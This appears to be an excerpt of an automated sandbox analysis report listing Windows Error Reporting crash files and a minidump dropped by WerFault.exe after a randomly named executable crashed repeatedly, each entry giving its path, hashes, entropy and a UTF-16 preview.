                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.1.8.8.2.7.9.6.4.4.5.7.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.1.8.8.3.0.9.6.4.4.6.0.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.d.7.f.4.3.1.f.-.f.9.c.b.-.4.e.9.c.-.b.f.b.f.-.e.d.8.0.f.2.2.3.8.5.e.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.e.e.c.7.4.8.d.-.7.4.b.6.-.4.1.1.c.-.a.e.b.8.-.b.9.1.9.b.3.9.a.d.0.5.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.5.8.-.0.0.0.1.-.0.0.1.5.-.4.1.1.b.-.3.c.f.1.5.c.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.3.f.c.b.1.b.9.6.5.8.0.0.d.3.d.7.2.1.3.4.d.a.e.3.7.7.0.a.e.a.3.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....T.a.r.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_NcYLgtXIKJgHj.ex_191ad5ea639312cff7437352e3e5dd3555cd58_1382581b_39b20be6-b6c8-4156-bb27-d8bd9e89fd50\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):0.9748656565526946
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:hrGeYz1b0BU/NdadDjRJdKzuiFZZ24IO8TdN:ID1oBU/N8xjP4zuiFZY4IO8TH
                                                                                                                                                                                                          MD5:64DC2406B2ED98F348211A7A9A490AC8
                                                                                                                                                                                                          SHA1:2A28E64503081AFC665AE098AE5A0BA00A81C69C
                                                                                                                                                                                                          SHA-256:3D9CF67E399ABF3B9A075A4ED447B0CBAE3BFCCCDD8AE70DC8B874776977DD2F
                                                                                                                                                                                                          SHA-512:42DDA74A06A0455406123C9F8A40E4F17B3C5189488CA503E515F9F1C776A00A6FFC464895E58CEF10E7E9E821FB9144DEBA374632C7093D21C91824D07AD6DB
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.1.8.8.1.7.4.2.2.6.0.0.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.1.8.8.1.8.3.9.1.3.6.1.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.9.b.2.0.b.e.6.-.b.6.c.8.-.4.1.5.6.-.b.b.2.7.-.d.8.b.d.9.e.8.9.f.d.5.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.3.6.8.b.8.e.3.-.b.4.9.c.-.4.4.5.f.-.9.7.6.6.-.9.7.9.4.7.9.8.9.3.5.9.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.e.7.8.-.0.0.0.1.-.0.0.1.5.-.8.6.8.b.-.4.d.f.1.5.c.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.3.f.c.b.1.b.9.6.5.8.0.0.d.3.d.7.2.1.3.4.d.a.e.3.7.7.0.a.e.a.3.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....T.a.r.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_NcYLgtXIKJgHj.ex_191ad5ea639312cff7437352e3e5dd3555cd58_1382581b_4d295e18-5df1-40f8-b1ec-09b7d29e22ba\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):1.0199623661796051
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:RBLGeYzOb0BU/NdadDjRJd6TzuiFZZ24IO8TdN:LGDOoBU/N8xjPCzuiFZY4IO8TH
                                                                                                                                                                                                          MD5:B9F95048359C366DA97B014C6948F510
                                                                                                                                                                                                          SHA1:73372D47F9E1E8D2D9C35120B8BF56D52F1DA42B
                                                                                                                                                                                                          SHA-256:45BE0BF733CB98C21EFE982A916457B43967465DEFAD0E005824FA0B5D1145AE
                                                                                                                                                                                                          SHA-512:7CF27451F7729A24C9ACAFAEA7BFD67034FFDC2862364DF7620F5174024D17380F2EC6EE51D77E0C98F9789E56D6138F05893FC555FCD07F939537881A3AFA74
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.1.8.8.1.4.3.5.6.6.1.2.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.1.8.8.1.7.3.7.2.2.4.5.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.d.2.9.5.e.1.8.-.5.d.f.1.-.4.0.f.8.-.b.1.e.c.-.0.9.b.7.d.2.9.e.2.2.b.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.f.9.b.d.e.6.e.-.a.c.e.c.-.4.e.e.f.-.b.f.d.a.-.7.d.8.4.6.f.8.3.c.3.c.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.6.7.8.-.0.0.0.1.-.0.0.1.5.-.2.8.c.a.-.5.1.f.1.5.c.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.3.f.c.b.1.b.9.6.5.8.0.0.d.3.d.7.2.1.3.4.d.a.e.3.7.7.0.a.e.a.3.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....T.a.r.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_NcYLgtXIKJgHj.ex_191ad5ea639312cff7437352e3e5dd3555cd58_1382581b_91456292-83cf-467e-b9c9-41948fe3bc74\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):0.9525676330358746
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:7/eYzab0BU/NdadDjRJduzuiFZZ24IO8TdN:TDaoBU/N8xjPczuiFZY4IO8TH
                                                                                                                                                                                                          MD5:8C035D9486B201F5A34A9A600462FBB8
                                                                                                                                                                                                          SHA1:59A942C7EBEDF027355AABED1ABE0D58884525E3
                                                                                                                                                                                                          SHA-256:488297E96C5B3767F2FF1A7102197AD3422B36109283189BC9E8317E58BB5B3B
                                                                                                                                                                                                          SHA-512:CA55F151D2608D5B83FB4F3B3028128553AB70ED740E60F77A490B7DEA546C348A789E6D25B18CBD0CB43A93D5C00EB7FE162026D656DA7A3006AD947282F633
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.1.8.8.2.5.1.5.3.6.9.8.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.1.8.8.2.6.2.3.1.8.3.0.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.1.4.5.6.2.9.2.-.8.3.c.f.-.4.6.7.e.-.b.9.c.9.-.4.1.9.4.8.f.e.3.b.c.7.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.4.5.5.4.4.a.6.-.9.0.0.b.-.4.4.c.f.-.b.d.8.7.-.a.d.6.e.c.2.4.b.c.f.1.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.2.e.4.-.0.0.0.1.-.0.0.1.5.-.b.8.c.c.-.4.2.f.1.5.c.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.3.f.c.b.1.b.9.6.5.8.0.0.d.3.d.7.2.1.3.4.d.a.e.3.7.7.0.a.e.a.3.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....T.a.r.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_NcYLgtXIKJgHj.ex_191ad5ea639312cff7437352e3e5dd3555cd58_1382581b_a07a19eb-58aa-4687-9255-fce0ec37e289\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):0.9520175440616016
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:F2geYz7b0BU/NdadDjRJduzuiFZZ24IO8TdN:BD7oBU/N8xjPczuiFZY4IO8TH
                                                                                                                                                                                                          MD5:D512B417EEED00A07495591B7D4B4A47
                                                                                                                                                                                                          SHA1:1EFD3B4AE0A810A0F23BE8C1E38284AF0BF42CD6
                                                                                                                                                                                                          SHA-256:A9CE04033CDCF787FD5EADBE214E51D8251535DD80B30916A282524AA9CE4819
                                                                                                                                                                                                          SHA-512:59F13405612EE085B16BF518C97418AA23DD81141CCDD9D11391CD9B8C5B0F0CE4E2EEC63D68D57717D06CE7054C5160E05195D84A7CF2E5DB0B35010F9E7BCA
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.1.8.8.2.0.4.3.7.8.1.4.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.1.8.8.2.1.1.7.2.1.9.6.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.0.7.a.1.9.e.b.-.5.8.a.a.-.4.6.8.7.-.9.2.5.5.-.f.c.e.0.e.c.3.7.e.2.8.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.6.f.7.6.b.f.2.-.1.1.6.9.-.4.1.1.d.-.8.c.2.9.-.a.e.4.7.5.c.d.0.a.c.7.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.c.8.-.0.0.0.1.-.0.0.1.5.-.0.9.0.a.-.4.a.f.1.5.c.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.3.f.c.b.1.b.9.6.5.8.0.0.d.3.d.7.2.1.3.4.d.a.e.3.7.7.0.a.e.a.3.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....T.a.r.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_NcYLgtXIKJgHj.ex_191ad5ea639312cff7437352e3e5dd3555cd58_1382581b_af82a981-f2c9-418f-972b-16032feb6c37\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):0.9524480323334774
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:E7eYzQb0BU/NdadDjRJduzuiFZZ24IO8TdN3:4DQoBU/N8xjPczuiFZY4IO8TH
                                                                                                                                                                                                          MD5:E0EF447708E4BCA0128E86B8AD73B942
                                                                                                                                                                                                          SHA1:BB158F27333545F1BE29F09729AC8B3236301227
                                                                                                                                                                                                          SHA-256:A77133AF5E20FCCC1A46D6465080DD7E697FF430922128FA01CB717C4E72DFBF
                                                                                                                                                                                                          SHA-512:8CEFBD9BB132B8C48E29ED42ACCA21EC4F9642602F6BD6F7CD9A4D493770BD5C500A1634EE5F8A99E062EAF0F86E6BAAE0430496B2FE9BD3950BB54E3A9C6067
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.1.8.8.1.4.4.7.7.2.5.2.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.1.8.8.1.6.6.0.2.2.2.4.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.f.8.2.a.9.8.1.-.f.2.c.9.-.4.1.8.f.-.9.7.2.b.-.1.6.0.3.2.f.e.b.6.c.3.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.9.8.c.0.4.1.0.-.8.7.7.2.-.4.c.e.0.-.9.8.b.1.-.c.2.3.6.a.7.2.7.2.0.3.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.b.b.8.-.0.0.0.1.-.0.0.1.5.-.4.a.b.5.-.5.0.f.1.5.c.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.3.f.c.b.1.b.9.6.5.8.0.0.d.3.d.7.2.1.3.4.d.a.e.3.7.7.0.a.e.a.3.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....T.a.r.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_NcYLgtXIKJgHj.ex_191ad5ea639312cff7437352e3e5dd3555cd58_1382581b_e74a49c3-c4c9-4224-a589-1a40ce962e81\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):1.0201281356201843
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:REPzb8eYzWb0BU/NdadDjRJdqTzuiFZZ24IO8TdNJ:ePMDWoBU/N8xjPyzuiFZY4IO8TH
                                                                                                                                                                                                          MD5:57BCBA8DF0005BEEEE413B3833EE2C55
                                                                                                                                                                                                          SHA1:42B57DD4D4B0F6C0392A6D7FC764CCF0273F5CA4
                                                                                                                                                                                                          SHA-256:A456D98C3393D1FEA47D3C4D1DE04154B42397A7553055FFA07991C198C0EF6D
                                                                                                                                                                                                          SHA-512:D3181B4274953146265760FA64D75EFF6FB05FFC6920B8A7685F2E27E41D41DAC305BE786244E6ECF08A7F24D50EF630451A0960805BA7563B95D267DA924454
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.1.8.8.2.7.0.1.2.6.9.6.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.1.8.8.3.0.9.9.7.0.4.7.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.7.4.a.4.9.c.3.-.c.4.c.9.-.4.2.2.4.-.a.5.8.9.-.1.a.4.0.c.e.9.6.2.e.8.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.2.4.5.d.f.c.c.-.d.2.f.8.-.4.7.5.f.-.b.0.8.b.-.f.e.b.0.8.5.0.e.8.d.3.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.3.a.8.-.0.0.0.1.-.0.0.1.5.-.2.7.f.d.-.3.e.f.1.5.c.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.3.f.c.b.1.b.9.6.5.8.0.0.d.3.d.7.2.1.3.4.d.a.e.3.7.7.0.a.e.a.3.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....T.a.r.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_NcYLgtXIKJgHj.ex_191ad5ea639312cff7437352e3e5dd3555cd58_1382581b_edc31362-a803-4d4e-b740-b345ed571548\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):0.9743978018925926
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:681WzeYzvb0BU/NdadDjRJdKzuiFZZ24IO8TdN:dqDvoBU/N8xjP4zuiFZY4IO8TH
                                                                                                                                                                                                          MD5:05056A1D78399B5928C95CF38AF3391D
                                                                                                                                                                                                          SHA1:6EED11796496AEA955719B46785B13C305DF6B0E
                                                                                                                                                                                                          SHA-256:75E84BD155652AAA7878F51B61A3704363A58F3C907666704DBE86FBD6CB0403
                                                                                                                                                                                                          SHA-512:63E4DCF75113AE5B9476EE7F09DB511F69378E83E226225F232CB781194AFCBF19CC559DF5DC267A6E1F2EF278FD26CB4242451909267DF13BB53EAEB5CFE361
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.1.8.8.1.6.8.2.7.2.0.2.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.1.8.8.1.8.2.0.2.2.0.9.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.d.c.3.1.3.6.2.-.a.8.0.3.-.4.d.4.e.-.b.7.4.0.-.b.3.4.5.e.d.5.7.1.5.4.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.c.c.3.b.d.2.a.-.b.a.4.1.-.4.9.5.2.-.a.0.0.8.-.0.2.e.b.2.7.e.4.2.4.9.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.2.6.8.-.0.0.0.1.-.0.0.1.5.-.f.c.f.a.-.4.e.f.1.5.c.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.3.f.c.b.1.b.9.6.5.8.0.0.d.3.d.7.2.1.3.4.d.a.e.3.7.7.0.a.e.a.3.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....T.a.r.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_NcYLgtXIKJgHj.ex_191ad5ea639312cff7437352e3e5dd3555cd58_1382581b_f7ee8616-6988-42f9-a04e-f8608642f576\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):0.9523306586264042
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:5eueYz2b0BU/NdadDjRJduzuiFZZ24IO8TdN:suD2oBU/N8xjPczuiFZY4IO8TH
                                                                                                                                                                                                          MD5:3D5560B5C958616582B0A93501684B2A
                                                                                                                                                                                                          SHA1:484030BBFD56BC0D1078211F7152151BAF9CB817
                                                                                                                                                                                                          SHA-256:866D2B3E92D40777C31B22CC1E3F0A20BD42CD3E64C1A79A9B3B70824A77C281
                                                                                                                                                                                                          SHA-512:B511D1F1FCF45122B07CC43529424CE7849349CF188545300B23A157B8D6B756C889B88829FB32A99D1425FAE0EC0ED6249932A04965E4C7658D438182ADB41E
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.1.8.8.2.3.6.6.7.5.7.7.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.1.8.8.2.5.0.8.9.4.7.2.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.7.e.e.8.6.1.6.-.6.9.8.8.-.4.2.f.9.-.a.0.4.e.-.f.8.6.0.8.6.4.2.f.5.7.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.b.9.5.5.1.2.5.-.f.d.5.2.-.4.a.a.0.-.8.9.0.6.-.0.e.f.e.9.d.9.a.f.f.9.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.0.0.-.0.0.0.1.-.0.0.1.5.-.7.e.8.4.-.4.6.f.1.5.c.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.3.f.c.b.1.b.9.6.5.8.0.0.d.3.d.7.2.1.3.4.d.a.e.3.7.7.0.a.e.a.3.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.N.c.Y.L.g.t.X.I.K.J.g.H.j...e.x.e.....T.a.r.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER2907.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:13:35 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):929818
                                                                                                                                                                                                          Entropy (8bit):1.8924456335011595
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:1536:IlH0R+l3UBFo828GqU8X858jV0P+5i/L6jciOMDXvDwVQpP2iXZ0yTLzyn4kppzY:0Ll3Ko7aB0P+ZIiOUbFuHTuGgfGxcD
                                                                                                                                                                                                          MD5:EEE52CF0223E9D38F52B2837198935DB
                                                                                                                                                                                                          SHA1:8C9E157021F0CBF12A5708A8598326D14743A15A
                                                                                                                                                                                                          SHA-256:D28078D4D8FD9CFB2F5432A7C25AC9CBD36B999AF198746C8062DC6B50C9B5A6
                                                                                                                                                                                                          SHA-512:C3738080A42763E0E5AD321CE93BCF704E2AA100CD0E17F7DF728E93EA321825E8501386B8471BF37272E74361AF9B807565DDCF3EBF093C017E9408AB244537
                                                                                                                                                                                                          Malicious:false
